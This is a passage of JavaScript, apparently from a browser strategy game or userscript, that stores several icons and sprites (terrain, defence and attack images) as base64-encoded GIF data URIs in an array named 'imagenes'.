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';\n\timagenes[\"terraplen\"] = 'data:image/gif;base64,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';\n\t//reinforcements (ne peut etre supprimer)\n\timagenes[\"def1\"] = 'data:image/gif;base64,R0lGODlhEAAQAPcAAP///xprJU5MlAd1CBRwGDY0Zgx5BfTy8g52DE9VlGN+Xwx6BRR0Gy0rVWObQzAuW0hGeBFzE0lHijteQAZ0CBJ1FChoQRNYKydmQUhHijw6fDc1ZxVxGRZ4HFBQnBpsJQ9PGT8/gEdFjluSQt3b3Pn1+JOclFmTQd2/NUVLjQdpBbu5vTU0aOnn6UZLhU9VlTw7bwp5BDp2SK63rRRxGdzZ3CBoOz16R9rAM3+OVf38/rm5vAxuFlRZnjEwXkREjhNWEg9kHBZQHhBSCzg2ahp+DEVEg0VDgtLU0E1MlTI0brW1txpTMwt4DBB4DlpaazFjMqKRZCFmNktRjRN6E1+YPXF0T0JIhufl5whcD8TExhNwGF5flnh8S2uAM/f29BttJxN0FiYlSYiOijd1O01Tkd6+LBeAG09NZ01SkQt4BA11DCsrVjc1ZgRzBklHi3eMISJnNUtJjmNhd8y7Menm6LScV05Tkbq4vBxrLU5MlQtNG36QexZvIBpULx5mMydnP2GDHBtiNhF1EwZOEkpIZA9SHkJGiEJDhQdYFK6zr2pvr0lNkAd0Ci5bLkZFiImYhcnIyubFUTk4avfy95OVlx9FJn10hyBsMRtpLiRpORV0GhBFHyJiPEJDgaCpnURGghBzEwFoA1NZnQp1Dk5NlQp3BS0sXG2DbV9hdUdWUgNJACxxNh1oPjQxYF2ZSRdwIoCrQgVzBm2HbZaLgkdFd0lPiZKdk7KytztAcmVqrSNjOnxyXlNQbzSCFEpJjSRoOfz9+zAuWbakektJjUtLnB1/IhtoLa6VYF2XQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAQAj/AHeIaSDsgQ9XBWpBILKhTYFTTwCYyDIoQhgHZuB0CFWBx4QSALRMevTjUhRakuwMQ+ZBTxIYkQAAwOIoyIcAOMEkUqBDJoAZKmKoMdVIlhsKAwYYMLBA1Kw6lv7EkSLoBg4vrWwA03QBlcwvhUJIyHAoBaNfxBD1OuDTZyVOsPrsUUWiLQBcuVzYmlLmRQ9di0YluJPmSipFfnZ1khGryqtkJ0ZYwACIya0aQJqsKULFGJ1AZ3w5QUAKCqVgczS8kSOCCwpexQQIKMVihUwkQvIcY5XDShcymTAZ+tR2DKFNHAgQ2EKDAYgldgHgYePJyBFQStC0iO4T0qohfNjaAg0IADs=';\n\timagenes[\"def2\"] = 'data:image/gif;base64,R0lGODlhEAAQAPcAAP///924GMqqJffNCEpLlfjOBbicNjIzZvHy8ubBE6qkhTMzZvDJDkVGi0VFiubAE/bMBkpLlKWJHlpXkfnQBN++G+Tl6frQBUVGjkdHjcurJc2tJ2hiUufCFFVTieTIHPTRIkBCV8KnLd25GUNDd4RyHLa3vbm5vKailJ2DG9G4SbS1vEpLZykpVdS0IEZEcsSoMfDIDJuAANKyFOPl6EVEgXZoIefDE2RjdWBhekRFeP39+7ecNZ2UbcauQXZ0r7m3r863QzEyaPjNCJqDM56KMrqiSE9NhllZa1pYkVdWkLafO15YT01Ob459LqqPK5+GC/7//76nR7iYFElKlEJCg8WtPXFvrZeAL01JMV9ggl9dnebCFjQ1aod5QIF4VfDy+Pn6/khHgr+lNt++GvfYG+7HDPbNCiIjSTU2ajMzZ9XU0KWIEv3+//XOE72hO7CYQVlXkdbY3FJSnJaWl0lJjbmeObSxnaOKEtja3MG+rbqgOd65GTY1bi0uXtW3Ik5NiPXLBiorVrOyt+Lj5zExLMKfD8KrQue8A8TExjAwYDg4fCwtW3RoMz9CYGBbS0JDiN23BZWSiq6WOjg5b1xZlb2oPj49M3NkJkdHjlJTnCwsWUtLlUZHjvfMBa6VPJqAGfjOBIZwH0BCUTU1NUJBXsbHyqikk8KlLfDNDFJQhZ6TX2BenqWbbaafe/b29EZGZOG7FkJCgkNDhfHJDsKmLreeM8uyQ1tZlLW1tykqXFZXhz4+gFhVjV9gd0ZGilVUjV1dlrKZQe3u95Z+HsSnHE9QZLGaP7yoQvDHDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAQAj/AE+gabGJkR9FB0jo6KJmwQFdSACgMHTjAZcghWx8SNAhlhcwABKlgYRhlzEto0LkcKSJAAFKpgAAIOSkmAYBODdMWRVGJgA9kSiE8nQGQqABQwYUKHABUSsamGzxMGBAyqVGlt7Y2fOkRxsAr2DxcvALEDAldTLMaoLAp086ov64SMEhj1sAg16o8tArSSVWV35swTUhzhEcQLBM+mQEmRUVt3wcEgbnGJFTcvCkSmbGDYgsJcrMoBWDQZFhO3wtapCpUzBSpeZQicBJiAmZa4iJQDXmC5NHS2rBkHDHrSQ2ZPgEWD6iAqhcdwGsEFSjiiwxfVhYiC4zigIZUFy1A70bEAA7';\n\timagenes[\"att_all\"] = 